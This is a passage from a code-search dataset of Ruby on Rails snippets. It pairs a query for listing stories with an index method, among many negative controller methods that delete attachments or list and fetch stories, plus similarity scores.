"def destroy\n @attachment = Attachment.find(params[:id])\n @attachment.destroy\n flash[:notice] = 'attachment was successfully destroyed.'.t\n respond_to do |format|\n format.html { redirect_to page_attachments_url }\n format.xml { head :ok }\n end\n end",
"def destroy\n @note_attachment.destroy\n respond_to do |format|\n format.html { redirect_to note_attachments_url, notice: 'Note attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @incidentattachment.destroy\n respond_to do |format|\n format.html { redirect_to incidentattachments_url, notice: 'Incidentattachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @travel_post_attachment.destroy\n respond_to do |format|\n format.html { redirect_to travel_post_attachments_url, notice: 'Travel post attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attachment.destroy\n respond_to do |format|\n format.js {}\n end\n\n end",
"def destroy\n @event_attachment.destroy\n respond_to do |format|\n format.html { redirect_to event_attachments_url, notice: 'Event attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_attachment.destroy\n respond_to do |format|\n format.html { redirect_to order_attachments_url, notice: 'Order attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pdf_attachment.destroy\n respond_to do |format|\n format.html { redirect_to pdf_attachments_url, notice: 'File was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attached_asset = AttachedAsset.find(params[:id])\n @attached_asset.destroy\n\n respond_to do |format|\n format.html { redirect_to attached_assets_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @submission_detail.attachment = nil\n @submission_detail.destroy\n respond_to do |format|\n format.html { redirect_to submissions_url, notice: 'Document was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user_attachment.destroy\n respond_to do |format|\n format.html { \n flash[:notice] = 'Your image was successfully deleted.'\n redirect_to :back\n }\n format.json { head :no_content }\n end\n end",
"def destroy\n @boat_attachment.destroy\n respond_to do |format|\n format.html { redirect_to boat_attachments_url, notice: 'Boat attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @friends_attachment.destroy\n respond_to do |format|\n format.html { redirect_to friends_attachments_url, notice: \"Friends attachment was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n Attachment.find(@equip_person.id_attachment).destroy\n @equip_person.destroy\n respond_to do |format|\n format.html { redirect_to equip_people_url, notice: 'Le membre de l\\'équipe a bien été retiré.' }\n format.json { head :no_content }\n end\n end",
"def delete_attachment(name,id)\n delete_attachment_queue[name] = id if id.is_a?(BSON::ObjectId)\n write_attribute(\"#{name}_id\", nil)\n write_attribute(\"#{name}_name\", nil)\n write_attribute(\"#{name}_size\", nil)\n write_attribute(\"#{name}_type\", nil)\n end",
"def destroy\n \n @attachment = Attachment.find(params[:attachment_id])\n @attachment.destroy\n Keys.where(attachment_id: @attachment.id).destroy_all\n GetModel(params[:type]).where(file_id: @attachment.id).destroy_all\n \n respond_to do |format| \n format.html { redirect_to '/imports/'+params[:profile_id].to_s+'/csv/'+params[:type].to_s,notice: 'File has been deleted!' }\n end\n \n end",
"def delete_attachment(attachable:)\n raw_response = connection.post do |request|\n request.url \"#{realm_id}/attachable?operation=delete\"\n request.body = attachable.to_json\n end\n\n response(raw_response, entity: :attachable)\n end",
"def destroy\n @subject_file.destroy\n respond_to do |format|\n format.html { redirect_to subject_files_path(:subject => \"all\"), notice: 'Subject file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @file_attachment = FileAttachment.find(params[:id])\n @test_case = @file_attachment.test_case\n @file_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(@test_case || file_attachments_path) }\n format.xml { head :ok }\n end\n end",
"def delete_image_attachment\n @image = ActiveStorage::Attachment.find(params[:id])\n @image.purge\n redirect_back(fallback_location: items_path)\n end",
"def destroy\n @attachinaryfile.destroy\n respond_to do |format|\n format.html { redirect_to attachinaryfiles_url, notice: 'Attachinaryfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @design_image_attachment.destroy\n respond_to do |format|\n format.html { redirect_to design_image_attachments_url, notice: 'Design image attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @gallery_attachment.destroy\n respond_to do |format|\n format.html { redirect_to gallery_attachments_url, notice: 'Gallery attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n attachable_id = attachable.try(:id) || attachable\n response = api.delete(\n \"user/#{api.user_name}/\" \\\n \"realestate/#{attachable_id}/\" \\\n \"attachment/#{id}\"\n )\n handle_response(response)\n self\n end",
"def delete_attachment(id, name)\n unless @model = model_class.get(id)\n flash[:error] = \"No such #{model_class.to_s.downcase} (#{h id}) exists.\"\n redirect rs()\n end\n\n # You need to be able to edit the model before removing attachments!\n for_auth do |u|\n u.can_edit? @model\n end\n\n unless attachment = @model.attachment(name)\n flash[:error] = \"No such attachment (#{h name}) exists.\"\n redirect @model.url\n end\n\n begin\n attachment.delete\n flash[:notice] = \"Deleted attachment #{h name}.\"\n rescue => e\n flash[:error] = \"Couldn't delete attachment #{h name}: #{h e.message}.\"\n end\n\n redirect @model.url\n end",
"def destroy\n @teacher_attachment.destroy\n respond_to do |format|\n format.html { redirect_to teacher_attachments_url, notice: 'Teacher attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @embedded_attachment.destroy\n respond_to do |format|\n format.html { redirect_to embedded_attachments_url, notice: 'Video was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n puts \"------------------------\"\n document_item = ActiveStorage::Attachment.find(@document.doc.id)\n p document_item.purge\n puts \"------------------------\"\n\n @document.destroy\n respond_to do |format|\n\n\n\n\n format.html { redirect_to property_property_unit_documents_path(@property, @property_unit), notice: 'Dokumentet ble slettet.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @attached = Attached.find(params[:id])\n @event = Event.find(@attached.event_id)\n @attached.destroy\n\n respond_to do |format|\n format.html { redirect_to \"/manage_attached/\" + @event.id.to_s }\n format.json { head :no_content }\n end\n end",
"def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end",
"def delete(path = '/files/', params = {})\n request :delete, path, params\n end",
"def destroy_unsaved_attachments\n @client_side_timestamp = params[:client_side_timestamp]\n @filename = params[:filename]\n @cas_user = session[:cas_user]\n\n RecordAttachment.where(:client_side_timestamp => @client_side_timestamp, \n :filename => @filename, :cas_user_name => @cas_user).destroy_all\n render :nothing => true\n end",
"def destroy\n query = \"created_by = \\\"#{current_user.email}\\\"\"\n @photo = Photo.where(query).with_attached_images.find(params[:id])\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to photos_path, notice: 'Destroyed successfully.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @battle_attachment.destroy\n respond_to do |format|\n format.html { redirect_to battle_attachments_url, notice: 'Battle attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @bulletin_file = BulletinFile.find(params[:id])\n @bulletin_file.destroy\n\n respond_to do |format|\n format.html { redirect_to bulletin_files_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @article.images.purge if @article.images.attached?\n @article.destroy\n respond_to do |format|\n format.html { redirect_to articles_url, notice: '記事を削除しました。' }\n format.json { head :no_content }\n end\n end",
"def delete_file(file)\n delete_attachment(file)\n end",
"def destroy\n @product_attachment.destroy\n respond_to do |format|\n format.html { redirect_to product_attachments_url, notice: 'Product attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_attachments\n delete_attachment_queue.each {|k,v| delete_grid_attachment(k,v)}\n end",
"def destroy\n @property_attachment.destroy\n respond_to do |format|\n format.html { redirect_to property_attachments_url, notice: \"Property attachment was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @kf_course_knowledge_attachment = Kf::CourseKnowledgeAttachment.find(params[:id])\n @kf_course_knowledge_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to kf_course_knowledge_attachments_url({:page => params[:page]}) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @action_file = ActionFile.find(params[:id])\n @action_file.destroy\n\n respond_to do |format|\n format.html { redirect_to action_files_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @v1_message = V1::Message.find(params[:id])\n @v1_message.destroy\n\n head :no_content\n end",
"def destroy\n @file.destroy\n respond_to do |format|\n format.html { render text: 'created', layout: false, status: :created }\n format.json { head :no_content }\n end\n end",
"def destroy\n @product_attachment_file.destroy\n respond_to do |format|\n format.html { redirect_to product_attachment_files_url, notice: 'Product attachment file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @pin_attachment.destroy\n respond_to do |format|\n format.html { redirect_to pin_attachments_url, notice: 'Pin attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_grid_attachment(name,id)\n grid.delete(id) if id.is_a?(BSON::ObjectId)\n delete_attachment_queue.delete(name)\n end",
"def destroy\n @pub_attachment.destroy\n respond_to do |format|\n format.js { head :ok, notice: 'Anexo excluído com sucesso.' }\n end\n end",
"def destroy\n @work_order_attachment.destroy\n respond_to do |format|\n format.html { redirect_to work_order_attachments_url, notice: 'Work order attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @testfile.destroy\n respond_to do |format|\n format.html { redirect_to materials_path }\n format.json { head :no_content }\n end\n end",
"def delete\n item = FormImage.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end",
"def destroy\n @job_application_attachment = JobApplicationAttachment.find(params[:id])\n @job_application_attachment.destroy\n\n respond_to do |format|\n format.html { redirect_to(job_application_attachments_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def delete_media_by_id id\r\n # the base uri for api requests\r\n query_builder = Configuration.BASE_URI.dup\r\n\r\n # prepare query string for API call\r\n query_builder << \"/media/{id}\"\r\n\r\n # process optional query parameters\r\n query_builder = APIHelper.append_url_with_template_parameters query_builder, {\r\n \"id\" => id,\r\n }\r\n\r\n # validate and preprocess url\r\n query_url = APIHelper.clean_url query_builder\r\n\r\n # prepare headers\r\n headers = {\r\n \"user-agent\" => \"APIMATIC 2.0\",\r\n \"accept\" => \"application/json\",\r\n \"Content-Type\" => Configuration.content_type\r\n }\r\n\r\n # append custom auth authorization\r\n CustomAuthUtility.append_custom_auth_params headers\r\n\r\n # invoke the API call request to fetch the response\r\n response = Unirest.delete query_url, headers:headers\r\n\r\n #Error handling using HTTP status codes\r\n if !(response.code.between?(200,206)) # [200,206] = HTTP OK\r\n raise APIException.new \"HTTP Response Not OK\", response.code, response.raw_body\r\n else \r\n puts \"Media ID Deleted\"\r\n end\r\n\r\n response.body\r\n end",
"def destroy\n @paperclip_client = PaperclipClient.find(params[:id])\n @client = @paperclip_client\n @paperclip_client.destroy\n\n respond_to do |format|\n format.html { redirect_to(paperclip_clients_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @photo = Photo.find(params[:id])\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @school_attachment.destroy\n respond_to do |format|\n format.html { redirect_to school_attachments_url, notice: 'School attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def remove_attachments_from_existing_note(note, attachments)\n attachments.each do |attach|\n logger.info \"Removing attachment '#{attach.file_name}' from note ID #{note.id}\"\n wait_for_update_and_click existing_note_attachment_delete_button(note, attach)\n confirm_delete\n existing_note_attachment_delete_button(note, attach).when_not_visible Utils.short_wait\n note.attachments.delete attach\n attach.deleted_at = Time.now\n note.updated_date = Time.now\n end\n end",
"def destroy\n RestClient.delete \"#{REST_API_URI}/contents/#{id}.xml\" \n self\n end",
"def destroy\n @post_file.destroy\n respond_to do |format|\n format.html { redirect_to post_files_url, notice: 'Post file was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @center_attachment.destroy\n respond_to do |format|\n format.html { redirect_to center_attachments_url, notice: 'Center attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy_attachment(resource_id, attachment_id)\n http.delete(\"#{attachment_endpoint(resource_id)}/#{attachment_id}\") do |response|\n true\n end\n end",
"def destroy\n @avatar.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @photo1 = Photo1.find(params[:id])\n @photo1.destroy\n\n respond_to do |format|\n format.html { redirect_to photo1s_url }\n format.json { head :no_content }\n end\n end",
"def delete_attachment(message_id, slot)\n @api.delete(\"#{@api.path}/List/#{@id}/Email/#{message_id}/#{slot}\")\n end",
"def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to uploads_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @filename.destroy\n respond_to do |format|\n format.html { redirect_to filenames_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @digital_content_file = DigitalContentFile.find(params[:id])\n @digital_content_file.destroy\n\n respond_to do |format|\n format.html { redirect_to digital_content_files_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @stock_attachment.destroy\n respond_to do |format|\n format.html { redirect_to stock_attachments_url, notice: 'Stock attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inventory_file.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_files_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @inventory_file.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_files_url }\n format.json { head :no_content }\n end\n end",
"def delete(id)\n # Requires authorization\n raise PutioError::AuthorizationRequired if authentication_required!\n\n if id.is_a? Array then\n id = id.join(',')\n end\n\n make_post_call('/files/delete?file_ids=%s' % [id]).status == \"OK\"\n end",
"def delete\n res = HTTParty.get URL, headers: HEADERS\n message = JSON.parse res.body, symbolize_names: true\n if res.code == 200\n numSubs = message[:data].count\n if numSubs > 0\n message[:data].each do |sub|\n id = sub[:id]\n delRes = HTTParty.delete \"#{URL}/#{id}\", headers: HEADERS\n #TODO handle status codes\n end\n end\n end\n end",
"def destroy\n @incidentfile.destroy\n respond_to do |format|\n format.html { redirect_to incidentfiles_url, notice: 'Incidentfile was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @photo.destroy\n respond_to do |format|\n format.html { redirect_to @photo.item }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7911042",
"0.7847585",
"0.78028",
"0.78028",
"0.78028",
"0.76480836",
"0.7554992",
"0.7526424",
"0.7526424",
"0.7502131",
"0.7484967",
"0.74713784",
"0.743854",
"0.7387418",
"0.7363765",
"0.73254794",
"0.73152685",
"0.7279049",
"0.72641194",
"0.72299457",
"0.72298086",
"0.72169244",
"0.72169244",
"0.7215463",
"0.7209564",
"0.72030514",
"0.71713316",
"0.71619326",
"0.70947045",
"0.70776707",
"0.7037773",
"0.70377594",
"0.7029423",
"0.70256454",
"0.70216304",
"0.69997156",
"0.6985177",
"0.69845855",
"0.6981494",
"0.69504976",
"0.6940793",
"0.693734",
"0.6903065",
"0.6901835",
"0.68986464",
"0.6893159",
"0.6874898",
"0.68681157",
"0.6865806",
"0.6863024",
"0.68444383",
"0.6838715",
"0.6835312",
"0.6834854",
"0.6777216",
"0.67725",
"0.6764876",
"0.6751269",
"0.67305475",
"0.67241216",
"0.6705846",
"0.67056775",
"0.67053074",
"0.6695065",
"0.66887105",
"0.6684591",
"0.66820496",
"0.668041",
"0.66737",
"0.66701776",
"0.66692144",
"0.6631796",
"0.6623454",
"0.6622379",
"0.6618508",
"0.66150385",
"0.6583087",
"0.65768063",
"0.65751237",
"0.6568377",
"0.6567627",
"0.6564984",
"0.6549395",
"0.65405023",
"0.6535532",
"0.6535446",
"0.6533636",
"0.6514286",
"0.65088624",
"0.6506736",
"0.6506509",
"0.6500839",
"0.6494089",
"0.6493191",
"0.6486543",
"0.6486543",
"0.64844775",
"0.6477367",
"0.6468432",
"0.64662194"
] |
0.7915785
|
0
|
GET /stories or /stories.json
|
def index
@stories = Story.order(params[:sort]).page(params[:page]).per(10)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n # description of @stories is not necessary - it is handled by decent_exposure\n end",
"def story(id, query = {})\n Request.new(self, '/cdn/stories', query, id).get\n end",
"def story(id, query = {})\n Request.new(self, '/cdn/stories', query, id).get\n end",
"def stories(query = {})\n Request.new(self, '/cdn/stories', query).get\n end",
"def stories(query = {})\n Request.new(self, '/cdn/stories', query).get\n end",
"def index\n @stories = Story.all\n render json: @stories, root: false\n end",
"def index\n @stories = Story.order(\"created_at DESC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @stories }\n end\n end",
"def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end",
"def show\n story = Story.find(params[:id])\n render json: story\n end",
"def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end",
"def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end",
"def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end",
"def get_stories\n api_url = \"#{CONFIG[:api_location]}/projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| Story.new(:story => story, :project_id => @id, :token => @token)}\n end",
"def index\n @stories = Story.find(:all)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end",
"def task_stories(id, options = {})\n request(:get, \"tasks/#{id}/stories\", options)\n end",
"def index\n @sprintstories = Sprintstory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @sprintstories }\n end\n end",
"def stories ; @stories || get_stories ; end",
"def stories ; @stories || get_stories ; end",
"def retrieve\n sort = 'created_at DESC'\n\n case params[:sort]\n when 'recent'\n sort = 'created_at DESC'\n when 'popular'\n sort = 'views DESC, likes DESC'\n else\n\n end\n\n stories = Story.where(\"LOWER(name) LIKE ?\", '%' + params[:query].downcase + '%').order(sort).offset(params[:offset]).limit(params[:limit])\n\n render json: stories\n end",
"def list_stories(opts = {})\n data, _status_code, _headers = list_stories_with_http_info(opts)\n data\n end",
"def index\n @stories = Story.all\n end",
"def index\n @stories = Story.all\n end",
"def index\n @stories = Story.all\n end",
"def index\n @stories = Story.all\n end",
"def index\n @stories = Story.all\n end",
"def index\n @stories = Story.all\n end",
"def index\n @stories = Story.all\n end",
"def get_stories\n api_url = \"#{CONFIG[:api_url]}projects/#{@id}/stories\"\n @stories = (Hpricot(open(api_url, {\"X-TrackerToken\" => @token.to_s}))/:story).map {|story| TrackR::Story.new(:story => story, :project_id => @id, :token => @token)}\n end",
"def stories(project, api_key, filter='')\n\treq = Net::HTTP::Get.new(\n \"/services/v3/projects/#{project}/stories?filter=#{filter}\",\n {'X-TrackerToken'=>api_key}\n )\n res = Net::HTTP.start(@pt_uri.host, @pt_uri.port) {|http|\n http.request(req)\n }\n\n return res.body\nend",
"def index\n @stories = Story.scoped\n\n @stories = @stories.where(:user_id => params[:user]) if params[:user].present? \n @stories = @stories.where(:state => params[:state]) if params[:state].present? \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @stories.all }\n end\n end",
"def show\n @yourstory = Yourstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @yourstory }\n end\n end",
"def index\n @stories = Story.all\n authorize! :index, @story\n end",
"def index\n render json: Story.all\n end",
"def show\n @stories = Story.find_by(id: params[:id])\n \n end",
"def show\n @sprintstory = Sprintstory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sprintstory }\n end\n end",
"def index\n #@usemap = true\n\n @stories = Story.editable_user(current_user.id) \n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @stories }\n end\n end",
"def show\n redirect_to sections_story_path(params[:id])\n # @story = Story.find_by_id(params[:id])\n\n # respond_to do |format|\n # format.html #show.html.erb\n # format.json { render json: @story }\n # end\n end",
"def index\n plan = Plan.find_by(url:params[:plan_id])\n stories = plan.stories\n render json: stories\n end",
"def fresh_stories\n get_data(\"stories/fresh\")\n end",
"def index\n @pic_stories = PicStory.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pic_stories }\n end\n end",
"def show\n @story = Story.find(params[:id])\n\t\t@title = \"Newsy | \" + @story.title\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end",
"def index\n @stories = Story(:all, :order => 'value')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end",
"def show\n @story = Story.find(params[:id])\n @epics = Epic.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story }\n end\n end",
"def index\n page = 1\n page = params[:page] if params[:page]\n @stories = Story.paginate :page => page, :order => 'created_at DESC', :per_page => 5\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n end\n end",
"def show\n @story = Story.all(:include => :role, :conditions => {:stories => { :id => params[:id] } })\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n end\n end",
"def show\n render json: @story, root: false\n end",
"def get_mashable_stories\n\n\ts = JSON.load(RestClient.get('http://mashable.com/stories.json')) \n\ts[\"hot\"].map do |story|\n\ts = {story: story[\"title\"], category: story[\"channel\"]}\n\tget_upvotes(story)\n\tdisplay_new_story\n\tstory\n\tend\nend",
"def index\n\t\t@username = \"Timothy\"\n\t\t@now = Time.now\n\n\t\t#@stories = [\"google\",\"facebook\", \"twitter\", \"linkedin\" , \"Andy\"]\n\n\n\t\t#set the variable stories\n\t\t#to all the records in our story database table\n\n\t\t# @stories = Story.order(\"created_at desc\")\n\n\t\t# @stories = Story.order(\"votes_count desc, title asc\")\n\n\t\t# if it has ?sort=recent in the url\n\t\t# sort by created at\n\t\t# if it has nothing, then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\t\n\t\t\t# sort by created at, \n\n\n\t\t\t@stories = Story.order(\"created_at desc\")\n\n\t\telsif params[:sort]==\"featured\"\n\n\t\t\t# sort by featured\n\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t\t\t.order(\"is_featured desc, title asc\")\n\t\t\t\t\n\n\t\telse\n\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\")\n\t\t\t# sort by popular\n\t\tend\n\n\t\t# add in my pagination\n\n\t\t# overwrite the @stories variable with a paginated version\n\n\t\t@stories = @stories.page(params[:page]).per(3)\n\n\tend",
"def show\n render status: 200, json: UserTrainingStory.find(params[:id])\n end",
"def show\n @story = Story.find(params[:id])\n\n # Set meta information\n @page_title = @story.title\n @page_description = @story.subtitle\n\n if Arrowhead.is_arrowhead_story? @story\n @arrowhead_stories = Arrowhead.stories\n @i = @arrowhead_stories.find_index(@story)\n if @i\n @prev = @i > 0 ? @i - 1 : nil \n @next = @i < @arrowhead_stories.length - 1 ? @i + 1 : nil\n end\n set_meta_tags :og => {\n :title => @story.title,\n :description => @story.subtitle,\n :type => 'article',\n :url => url_for(@story),\n :image => URI.join(root_url, view_context.image_path('arrowhead_ogimage.jpg'))\n }\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story.to_json(:include => { :scenes => { :include => :paragraphs }}) }\n end\n end",
"def show\n @story_status = StoryStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @story_status }\n end\n end",
"def show\n @text_story = TextStory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text_story }\n end\n end",
"def stories(options = {})\n stories = if options[:id]\n [@project.stories(options[:id]).get.payload]\n else\n @project.stories.get(params: options)\n end\n stories = stories.map { |s| Story.new(s, @project) }\n stories.select(&:estimated)\n end",
"def index\n\t\t@username = \"trev\"\n\t\t@now = Time.now\n\n\t\t# @stories = [\"Google\", \"Facebook\", \"Twitter\", \"blinq\"]\n\n\t\t#set the variable @stories to all the records in our database table\n\t\t#@stories = Story.order(\"votes_count desc, title asc, created_at desc\")\n\n\n\t\t#if it has ?sort=recet in the url, then sort by created at, if it has nothing sort by popular ones\n\n\t\tif params[:sort] == \"recent\"\n\t\t\t#sort by created at\n\t\t\t@stories = Story.order(\"created_at desc\")\n\n\t\telsif params[:sort] == \"featured\"\n\n\t\t\t#sort by featured\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t\t\t.order(\"id_featured desc, title asc\")\n\t\t\t\t\n\n\t\telse\n\t\t\t#sort by popular\n\t\t\t@stories = Story.order(\"votes_count desc, title asc, created_at desc\")\n\t\tend\n\n\t\t#add in my pagination\n\t\t#overwrite the @stories variabl with a paginated version\n\t\t@stories = @stories.page(params[:page]).per(20)\n\n\n\tend",
"def show\n @story = Story.find(params[:id])\n @stat = Status.where(:id => @story.status_id).first.descripcion\n @criterios = Criterio.where(:story_id => @story.id)\n @tasks = Task.where(:story_id => @story.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @story }\n format.json { render json: @criterios }\n format.json { render json: @tasks }\n end\n end",
"def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end",
"def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end",
"def show\n @story = Story.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @story }\n end\n end",
"def show\n\n\t# params[:id] is the number in the url we are looking for\n\n\t\t# @story = Story.find(params[:id])\n\n\tend",
"def index\n\t\t@username = \"funkyb\" #added a username\n\t\t@righthere_rightnow = Time.now\n\n\n\t\t#@stories = [\"Google\", \"Yahoo\", \"kobestarr\", \"iTunes\", \"dancing spiderman\"]\n\n\t\t#set the variables @stories to all of the records in our story db\n\n\t\t#@stories = Story.order(\"votes_count desc, title asc\" )\n\n\n\t\t# if it has ?sort=recent in the url then sort by \n\t\t# created at\n\t\t# if it has nothing then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\n\t\t\t#sort by created_at\n\t\t\t@stories = Story.order(\"created_at desc\" )\n\n\t\telsif params[:sort] == \"featured\"\n\n\t\t\t#sort by featured\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t.order(\"is_featured desc, title asc\" )\n\n\t\t\t\t\n\t\telse\n\t\t\t#sort by popular\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\" )\n\t\tend\n\n\t\t# this is where we are gonna add the pagination\n\t\t# overwrite the @stories variable with a paginated version\n\t\t# infor from documentation User.page(7).per(50)\n\t\t@stories = @stories.page(params[:page]).per(4)\n\t\t\n\tend",
"def index\n\n\t\t@username = \"Kate\"\n\t\t@now = Time.now\n\n\t# @stories = [\"Google\", \"Facebook\", \"Linkedin\", \"Foursquare\", \"Twitter\n\t# set the variable @stories to all the records in our database table \n\n\t\t# @stories = Story.order(\"votes_count desc, title asc\")\n\n\t\t# if it has ?sort=recent in url\n\t\t# then sort by created_at\n\t\t# if it has nothing, then do the popular ones\n\n\t\tif params[:sort] == \"recent\"\n\n\t\t# sort by created_at\n\n\t\t\t@stories = Story.order(\"created_at desc\")\n\t\t\t\n\t\telsif params[:sort] == \"featured\"\n\t\t\n\t\t# sort by featured\n\n\t\t\t@stories = Story.where(is_featured: true)\n\t\t\t\t\t\t\t.order(\"is_featured desc, title asc\")\n\n\t\telse\n\n\t\t# sort by popular \n\n\t\t\t@stories = Story.order(\"votes_count desc, title asc\")\n\n\t\tend\n\n\t\t# add in my pagination\n\t\t# overwrite the @stories variable with a paginated version\n\n\t\t\t@stories = @stories.page(params[:page]).per(20)\n\n\n\tend",
"def list_stories_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.list_stories ...'\n end\n allowable_values = [\"en\", \"de\", \"fr\", \"it\", \"es\", \"pt\"]\n if @api_client.config.client_side_validation && opts[:'language'] && !opts[:'language'].all? { |item| allowable_values.include?(item) }\n fail ArgumentError, \"invalid value for \\\"language\\\", must include one of #{allowable_values}\"\n end\n allowable_values = [\"en\", \"de\", \"fr\", \"it\", \"es\", \"pt\"]\n if @api_client.config.client_side_validation && opts[:'not_language'] && !opts[:'not_language'].all? { |item| allowable_values.include?(item) }\n fail ArgumentError, \"invalid value for \\\"not_language\\\", must include one of #{allowable_values}\"\n end\n allowable_values = [\"iab-qag\", \"iptc-subjectcode\"]\n if @api_client.config.client_side_validation && opts[:'categories_taxonomy'] && !allowable_values.include?(opts[:'categories_taxonomy'])\n fail ArgumentError, \"invalid value for \\\"categories_taxonomy\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"positive\", \"neutral\", \"negative\"]\n if @api_client.config.client_side_validation && opts[:'sentiment_title_polarity'] && !allowable_values.include?(opts[:'sentiment_title_polarity'])\n fail ArgumentError, \"invalid value for \\\"sentiment_title_polarity\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"positive\", \"neutral\", \"negative\"]\n if @api_client.config.client_side_validation && opts[:'not_sentiment_title_polarity'] && !allowable_values.include?(opts[:'not_sentiment_title_polarity'])\n fail ArgumentError, \"invalid value for \\\"not_sentiment_title_polarity\\\", must be one of #{allowable_values}\"\n end\n allowable_values = [\"positive\", \"neutral\", \"negative\"]\n if @api_client.config.client_side_validation && opts[:'sentiment_body_polarity'] && !allowable_values.include?(opts[:'sentiment_body_polarity'])\n fail ArgumentError, \"invalid value for 